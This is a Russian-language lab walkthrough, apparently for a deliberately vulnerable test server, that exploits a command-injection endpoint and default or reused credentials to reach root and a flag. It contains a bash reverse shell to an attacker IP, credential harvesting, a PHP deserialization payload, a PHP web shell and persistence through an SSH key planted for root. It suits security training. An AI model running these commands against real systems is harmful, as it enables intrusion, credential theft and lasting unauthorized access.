Скрипт был протестирован и собран на Ubuntu Server 20.04 LTS, а для эксплуатации и прохождения использовался Kali Linux.

В этом руководстве описывается эксплуатация уязвимого сервера, содержащего уязвимости CVE-2024-46507 (внедрение команд) и CVE-2024-46508 (обход аутентификации).

Первоначальная разведка

Сначала давайте экспортируем IP-адрес цели в переменную. Замените его на фактический IP-адрес вашей цели:

export TARGET="192.168.65.129"

Сканирование портов

Начнём с определения открытых служб на целевой системе:

# Быстрое начальное сканирование распространённых портов
sudo nmap -sS -T4 $TARGET

# Полное сканирование портов, чтобы ничего не пропустить
sudo nmap -sS -p- -T4 $TARGET

# Детальное сканирование найденных портов с определением версий служб
sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt

Ожидаемый вывод детального сканирования:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
Nmap scan report for 192.168.65.129
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
|   256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
|_  256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Vulnerable Application
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
MAC Address: 00:0C:29:AD:B8:5D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Перебор веб-приложения

Давайте изучим веб-приложение на найденных портах:

# Проверка порта 80 (Apache)
firefox http://$TARGET/

# Проверка порта 9000 (Python SimpleHTTP сервер)
firefox http://$TARGET:9000/

Оба указывают на одно и то же содержимое приложения. Узнаем больше о структуре приложения:

# Используем gobuster для поиска директорий и файлов
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

Ожидаемый вывод:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.65.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 805]
/api                  (Status: 301) [Size: 0] [--> /api/]

Проверим, что находится в директории API:

# Используем gobuster для поиска конечных точек API
gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

Или просто откройте её в браузере.

Ожидаемый вывод:

/process.php (Status: 200)

Эксплуатация CVE-2024-46507 (внедрение команд)

В результате разведки мы обнаружили конечную точку /api/process.php. Веб-интерфейс показывает форму, которая отправляет запрос на эту конечную точку с параметром "command".

Проверим наличие внедрения команд:

# Тест с простой командой
curl "http://$TARGET:9000/api/process.php?command=id"

Ожидаемый вывод:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Успех! Приложение выполняет наши команды. Посмотрим, что ещё можно получить:

# Просмотр содержимого директории
curl "http://$TARGET/api/process.php?command=ls+-la"

# Исследование системы
curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"

Вывод:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false

Теперь получим обратную оболочку. Сначала настройте слушатель на вашей машине с Kali:

# Запуск netcat слушателя
nc -lvnp 4444

Затем отправьте команду для обратной оболочки:

# URL-кодирование полезной нагрузки для обратной оболочки
# Оригинал: bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
# Замените YOUR_KALI_IP на фактический IP вашей машины Kali

curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php

Теперь у вас должна быть оболочка от пользователя www-data! Улучшим её:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Нажмите Ctrl+Z, чтобы перевести оболочку в фоновый режим
# Затем в терминале Kali:
stty raw -echo; fg
# Нажмите Enter дважды

Повышение привилегий через CVE-2024-46508

Теперь, когда у нас есть оболочка, проверим наличие конфиденциальных файлов:

# Проверка конфигурации приложения
cat /opt/vulnerable-app/config/app.conf
cat /opt/vulnerable-app/config/auth.conf

Мы обнаруживаем учётные данные по умолчанию:

Имя пользователя: admin
Пароль: admin

Проверим учётные данные базы данных:

# Поиск учётных данных базы данных
find /opt/vulnerable-app -type f -exec grep -l "password" {} \;

Это должно показать детали подключения к базе данных. Подключимся к базе данных:

# Подключение к MariaDB
mysql -u vulnuser -p'password123' vulnapp

После подключения исследуем базу данных:

-- Показать таблицы
SHOW TABLES;

-- Просмотр таблицы users
SELECT * FROM users;

Мы должны найти пользователя admin с паролем "supersecretpassword". Попробуем использовать это для получения root-доступа:

# Попытка переключиться на root
su root
# Введите пароль: supersecretpassword

Если метод su не сработает, проверим другие векторы повышения привилегий:

# Проверка прав sudo
sudo -l

# Проверка SUID-бинарников
find / -perm -u=s -type f 2>/dev/null

# Проверка заданий cron
cat /etc/crontab
ls -la /etc/cron*

Ещё один способ — попробовать SSH-доступ с найденными учётными данными:

# С вашей машины Kali
ssh root@$TARGET
# Введите пароль: supersecretpassword

Захват флага

Получив root-доступ, мы должны найти флаг:

# Поиск файлов с флагом
find / -name "*.txt" 2>/dev/null | grep -v "proc"

# Чтение флага
cat /root/flag.txt

Ожидаемый вывод:

f1a9d4c2b7e35680d2f1a9c3b7d45e80

Альтернативная эксплуатация: PHP-десериализация

Приложение также уязвимо для атак PHP-десериализации. Создадим вредоносный сериализованный объект:

<?php
// Сохранить как exploit.php на вашей машине Kali
class Exploit {
    public $command = 'system("cat /root/flag.txt");';
    
    public function __destruct() {
        eval($this->command);
    }
}

$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>

Сгенерируем полезную нагрузку:

php exploit.php

Это выведет сериализованный объект, закодированный в base64. Отправим его на сервер:

# Сохраните вывод предыдущей команды как PAYLOAD
curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php

Сервер должен выполнить наш код и показать флаг.

Продвинутая эксплуатация: закрепление

Для более постоянного доступа мы можем создать веб-шелл:

# От пользователя www-data создать PHP веб-шелл
echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php

# Доступ с Kali
curl "http://$TARGET/shell.php?cmd=id"

Также можно добавить SSH-ключ для постоянного root-доступа:

# На Kali сгенерировать пару SSH-ключей
ssh-keygen -t rsa -f vulnserver_key

# На целевой системе от root добавить наш открытый ключ
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Затем подключиться с Kali
ssh -i vulnserver_key root@$TARGET

Сводка уязвимостей

Этот сервер был уязвим к двум основным проблемам:

CVE-2024-46507: Уязвимость внедрения команд в конечной точке API process.php, которая позволила выполнять произвольные команды.
CVE-2024-46508: Обход аутентификации и повышение привилегий из-за:
- Оставленных включёнными учётных данных по умолчанию
- Слабого пароля базы данных
- Повторного использования пароля в разных системах

CVE-2024-46507

Популярное

Скрипт был протестирован и собран на Ubuntu Server 20.04 LTS, а для эксплуатации и прохождения использовался Kali Linux.

Первоначальная разведка

Сканирование портов

Перебор веб-приложения

Эксплуатация CVE-2024-46507 (внедрение команд)

Повышение привилегий через CVE-2024-46508

Захват флага

Альтернативная эксплуатация: PHP-десериализация

Продвинутая эксплуатация: закрепление

Сводка уязвимостей